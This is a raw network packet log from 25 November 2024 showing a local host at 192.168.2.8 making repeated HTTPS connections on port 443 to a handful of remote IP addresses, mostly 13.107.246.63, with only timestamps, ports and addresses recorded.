Nov 25, 2024 03:40:37.349857092 CET	49863	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.350336075 CET	49863	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.350361109 CET	443	49863	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.494440079 CET	443	49858	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.494534969 CET	443	49858	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.494666100 CET	49858	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.494951010 CET	49858	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.494951010 CET	49858	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.494990110 CET	443	49858	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.495018005 CET	443	49858	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.498032093 CET	49864	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.498078108 CET	443	49864	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.498158932 CET	49864	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.498313904 CET	49864	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.498325109 CET	443	49864	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.659375906 CET	443	49860	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.659451008 CET	443	49860	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.659585953 CET	49860	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.659763098 CET	49860	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.659782887 CET	443	49860	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.659795046 CET	49860	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.659801960 CET	443	49860	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.662969112 CET	49865	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.662997961 CET	443	49865	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:37.663090944 CET	49865	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.663254976 CET	49865	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:37.663265944 CET	443	49865	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.135507107 CET	443	49863	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.135749102 CET	443	49862	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.138900042 CET	49862	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.138916969 CET	49863	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.138943911 CET	443	49862	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.138989925 CET	443	49863	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.139427900 CET	49862	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.139434099 CET	443	49862	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.139465094 CET	49863	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.139478922 CET	443	49863	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.142589092 CET	443	49861	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.142936945 CET	49861	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.142952919 CET	443	49861	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.143340111 CET	49861	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.143351078 CET	443	49861	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.256835938 CET	49797	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:40:39.256880999 CET	443	49797	162.159.61.3	192.168.2.8
Nov 25, 2024 03:40:39.256894112 CET	49796	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:40:39.256938934 CET	443	49796	162.159.61.3	192.168.2.8
Nov 25, 2024 03:40:39.277064085 CET	443	49864	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.277585983 CET	49864	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.277601957 CET	443	49864	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.278074026 CET	49864	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.278079033 CET	443	49864	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.508677006 CET	443	49865	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.509304047 CET	49865	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.509325027 CET	443	49865	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.509815931 CET	49865	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.509820938 CET	443	49865	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.579153061 CET	443	49863	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.579229116 CET	443	49863	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.579299927 CET	49863	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.579551935 CET	49863	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.579596996 CET	443	49863	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.579631090 CET	49863	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.579647064 CET	443	49863	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.580118895 CET	443	49862	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.580179930 CET	443	49862	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.580215931 CET	49862	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.580775976 CET	49862	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.580787897 CET	443	49862	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.580804110 CET	49862	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.580809116 CET	443	49862	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.586008072 CET	49867	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.586050034 CET	443	49867	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.586112976 CET	49867	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.586555958 CET	49867	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.586570978 CET	443	49867	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.586910963 CET	49868	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.586940050 CET	443	49868	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.587013006 CET	49868	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.587116003 CET	49868	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.587125063 CET	443	49868	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.588304043 CET	443	49861	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.588372946 CET	443	49861	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.588551998 CET	49861	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.588551998 CET	49861	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.588608980 CET	49861	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.588629007 CET	443	49861	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.590733051 CET	49869	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.590759993 CET	443	49869	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.590837002 CET	49869	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.590964079 CET	49869	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.590976000 CET	443	49869	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.721906900 CET	443	49864	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.721973896 CET	443	49864	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.722028017 CET	49864	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.722240925 CET	49864	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.722254038 CET	443	49864	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.722265005 CET	49864	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.722270012 CET	443	49864	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.725086927 CET	49870	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.725126028 CET	443	49870	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.725205898 CET	49870	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.725352049 CET	49870	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.725369930 CET	443	49870	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.963457108 CET	443	49865	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.963521957 CET	443	49865	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.963596106 CET	49865	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.963913918 CET	49865	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.963927984 CET	443	49865	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.963941097 CET	49865	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.963946104 CET	443	49865	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.967242956 CET	49871	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.967281103 CET	443	49871	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:39.967472076 CET	49871	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.967691898 CET	49871	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:39.967705965 CET	443	49871	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.303854942 CET	443	49869	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.305007935 CET	49869	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.305027008 CET	443	49869	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.305538893 CET	49869	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.305543900 CET	443	49869	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.378094912 CET	443	49867	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.378712893 CET	49867	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.378762007 CET	443	49867	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.379220009 CET	49867	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.379228115 CET	443	49867	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.432225943 CET	443	49868	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.434144974 CET	49868	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.434158087 CET	443	49868	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.434606075 CET	49868	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.434611082 CET	443	49868	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.504911900 CET	443	49870	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.508239985 CET	49870	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.508255005 CET	443	49870	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.508774042 CET	49870	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.508784056 CET	443	49870	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.737783909 CET	443	49869	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.737859011 CET	443	49869	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.737981081 CET	49869	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.738305092 CET	49869	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.738305092 CET	49869	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.738323927 CET	443	49869	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.738334894 CET	443	49869	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.741952896 CET	49872	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.742010117 CET	443	49872	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.742117882 CET	49872	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.742369890 CET	49872	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.742388964 CET	443	49872	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.820207119 CET	443	49871	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.820914984 CET	49871	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.820926905 CET	443	49871	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.821449995 CET	49871	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.821455002 CET	443	49871	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.822793007 CET	443	49867	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.822866917 CET	443	49867	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.822940111 CET	49867	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.823144913 CET	49867	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.823167086 CET	443	49867	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.823174953 CET	49867	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.823182106 CET	443	49867	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.826967001 CET	49873	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.827028036 CET	443	49873	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.827136993 CET	49873	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.827357054 CET	49873	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.827369928 CET	443	49873	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.886279106 CET	443	49868	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.886353016 CET	443	49868	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.886464119 CET	49868	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.886737108 CET	49868	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.886754036 CET	443	49868	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.886775970 CET	49868	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.886782885 CET	443	49868	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.890280008 CET	49874	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.890328884 CET	443	49874	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.890423059 CET	49874	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.890605927 CET	49874	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.890621901 CET	443	49874	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.964498997 CET	443	49870	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.964570045 CET	443	49870	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.964679956 CET	49870	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.964967966 CET	49870	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.964967966 CET	49870	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.964981079 CET	443	49870	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.964993954 CET	443	49870	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.968699932 CET	49875	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.968733072 CET	443	49875	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:41.968820095 CET	49875	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.969082117 CET	49875	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:41.969089985 CET	443	49875	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:42.251895905 CET	49830	443	192.168.2.8	204.79.197.219
Nov 25, 2024 03:40:42.251912117 CET	443	49830	204.79.197.219	192.168.2.8
Nov 25, 2024 03:40:42.281145096 CET	443	49871	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:42.281244993 CET	443	49871	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:42.281325102 CET	49871	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:42.281568050 CET	49871	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:42.281568050 CET	49871	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:42.281586885 CET	443	49871	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:42.281599045 CET	443	49871	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:42.285195112 CET	49876	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:42.285223007 CET	443	49876	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:42.285305023 CET	49876	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:42.285532951 CET	49876	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:42.285548925 CET	443	49876	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:42.298764944 CET	49831	443	192.168.2.8	204.79.197.219
Nov 25, 2024 03:40:42.298803091 CET	443	49831	204.79.197.219	192.168.2.8
Nov 25, 2024 03:40:42.581490040 CET	49828	443	192.168.2.8	23.219.82.24
Nov 25, 2024 03:40:42.581492901 CET	49829	443	192.168.2.8	23.219.82.24
Nov 25, 2024 03:40:42.581516027 CET	443	49828	23.219.82.24	192.168.2.8
Nov 25, 2024 03:40:42.581521988 CET	443	49829	23.219.82.24	192.168.2.8
Nov 25, 2024 03:40:42.581557989 CET	49833	443	192.168.2.8	23.57.90.134
Nov 25, 2024 03:40:42.581602097 CET	443	49833	23.57.90.134	192.168.2.8
Nov 25, 2024 03:40:43.523655891 CET	443	49872	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:43.524188995 CET	49872	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:43.524219036 CET	443	49872	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:43.524686098 CET	49872	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:43.524691105 CET	443	49872	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:43.607548952 CET	443	49874	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:43.609962940 CET	49874	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:43.609982014 CET	443	49874	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:43.610471010 CET	49874	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:43.610476017 CET	443	49874	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:43.670579910 CET	443	49873	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:43.671276093 CET	49873	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:43.671298027 CET	443	49873	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:43.671766043 CET	49873	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:43.671771049 CET	443	49873	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:43.746277094 CET	443	49875	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:43.746778965 CET	49875	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:43.746794939 CET	443	49875	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:43.747235060 CET	49875	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:43.747239113 CET	443	49875	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:43.968473911 CET	443	49872	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:43.968544006 CET	443	49872	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:43.968857050 CET	49872	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:43.968894005 CET	49872	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:43.968914032 CET	443	49872	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:43.968924999 CET	49872	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:43.968930960 CET	443	49872	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:43.972309113 CET	49877	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:43.972356081 CET	443	49877	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:43.972445965 CET	49877	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:43.972613096 CET	49877	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:43.972625017 CET	443	49877	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:44.045831919 CET	443	49874	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:44.045898914 CET	443	49874	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:44.046107054 CET	49874	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:44.046132088 CET	49874	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:44.046145916 CET	443	49874	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:44.046163082 CET	49874	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:44.046168089 CET	443	49874	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:44.050029993 CET	49878	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:44.050055981 CET	443	49878	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:44.050414085 CET	49878	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:44.050553083 CET	49878	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:44.050558090 CET	443	49878	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:44.066135883 CET	443	49876	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:44.066765070 CET	49876	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:44.066777945 CET	443	49876	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:44.067282915 CET	49876	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:44.067291975 CET	443	49876	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:44.070930004 CET	49879	443	192.168.2.8	23.57.90.140
Nov 25, 2024 03:40:44.070965052 CET	443	49879	23.57.90.140	192.168.2.8
Nov 25, 2024 03:40:44.071048021 CET	49879	443	192.168.2.8	23.57.90.140
Nov 25, 2024 03:40:44.071259975 CET	49879	443	192.168.2.8	23.57.90.140
Nov 25, 2024 03:40:44.071274042 CET	443	49879	23.57.90.140	192.168.2.8
Nov 25, 2024 03:40:44.123711109 CET	443	49873	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:44.123790026 CET	443	49873	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:44.123857021 CET	49873	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:44.124054909 CET	49873	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:44.124073982 CET	443	49873	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:44.124095917 CET	49873	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:44.124102116 CET	443	49873	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:44.127723932 CET	49880	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:44.127764940 CET	443	49880	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:44.127837896 CET	49880	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:44.128021002 CET	49880	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:44.128035069 CET	443	49880	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:44.239434958 CET	443	49875	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:44.239509106 CET	443	49875	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:44.239768028 CET	49875	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:44.239836931 CET	49875	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:44.239850044 CET	443	49875	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:44.239865065 CET	49875	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:44.239871025 CET	443	49875	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:44.243380070 CET	49881	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:44.243480921 CET	443	49881	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:44.243594885 CET	49881	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:44.243787050 CET	49881	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:44.243828058 CET	443	49881	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:44.479830027 CET	49882	443	192.168.2.8	23.44.136.136
Nov 25, 2024 03:40:44.479870081 CET	443	49882	23.44.136.136	192.168.2.8
Nov 25, 2024 03:40:44.479969025 CET	49882	443	192.168.2.8	23.44.136.136
Nov 25, 2024 03:40:44.480186939 CET	49882	443	192.168.2.8	23.44.136.136
Nov 25, 2024 03:40:44.480201960 CET	443	49882	23.44.136.136	192.168.2.8
Nov 25, 2024 03:40:44.565462112 CET	443	49876	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:44.565541029 CET	443	49876	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:44.565614939 CET	49876	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:44.565932035 CET	49876	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:44.565949917 CET	443	49876	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:44.566004992 CET	49876	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:44.566013098 CET	443	49876	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:44.569380045 CET	49883	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:44.569430113 CET	443	49883	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:44.569540024 CET	49883	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:44.569737911 CET	49883	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:44.569767952 CET	443	49883	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:45.379338026 CET	443	49879	23.57.90.140	192.168.2.8
Nov 25, 2024 03:40:45.379863024 CET	49879	443	192.168.2.8	23.57.90.140
Nov 25, 2024 03:40:45.379890919 CET	443	49879	23.57.90.140	192.168.2.8
Nov 25, 2024 03:40:45.381932020 CET	443	49879	23.57.90.140	192.168.2.8
Nov 25, 2024 03:40:45.381990910 CET	49879	443	192.168.2.8	23.57.90.140
Nov 25, 2024 03:40:45.382318974 CET	49879	443	192.168.2.8	23.57.90.140
Nov 25, 2024 03:40:45.382405043 CET	443	49879	23.57.90.140	192.168.2.8
Nov 25, 2024 03:40:45.432393074 CET	49879	443	192.168.2.8	23.57.90.140
Nov 25, 2024 03:40:45.432403088 CET	443	49879	23.57.90.140	192.168.2.8
Nov 25, 2024 03:40:45.478713036 CET	49879	443	192.168.2.8	23.57.90.140
Nov 25, 2024 03:40:45.685993910 CET	443	49877	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:45.686568975 CET	49877	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:45.686580896 CET	443	49877	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:45.687069893 CET	49877	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:45.687076092 CET	443	49877	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:45.740891933 CET	443	49882	23.44.136.136	192.168.2.8
Nov 25, 2024 03:40:45.741278887 CET	49882	443	192.168.2.8	23.44.136.136
Nov 25, 2024 03:40:45.741301060 CET	443	49882	23.44.136.136	192.168.2.8
Nov 25, 2024 03:40:45.742448092 CET	443	49882	23.44.136.136	192.168.2.8
Nov 25, 2024 03:40:45.742765903 CET	49882	443	192.168.2.8	23.44.136.136
Nov 25, 2024 03:40:45.742917061 CET	49882	443	192.168.2.8	23.44.136.136
Nov 25, 2024 03:40:45.742949963 CET	443	49882	23.44.136.136	192.168.2.8
Nov 25, 2024 03:40:45.783504963 CET	49882	443	192.168.2.8	23.44.136.136
Nov 25, 2024 03:40:45.833116055 CET	443	49878	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:45.833897114 CET	49878	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:45.833913088 CET	443	49878	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:45.834435940 CET	49878	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:45.834440947 CET	443	49878	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.019494057 CET	443	49880	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.020174026 CET	49880	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.020214081 CET	443	49880	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.020678997 CET	49880	443	192.168.2.8	13.107.246.63
Nov 25, 2024 03:40:46.020688057 CET	443	49880	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.121042013 CET	443	49877	13.107.246.63	192.168.2.8
Nov 25, 2024 03:40:46.121118069 CET	443	49877	13.107.246.63	192.168.2.8
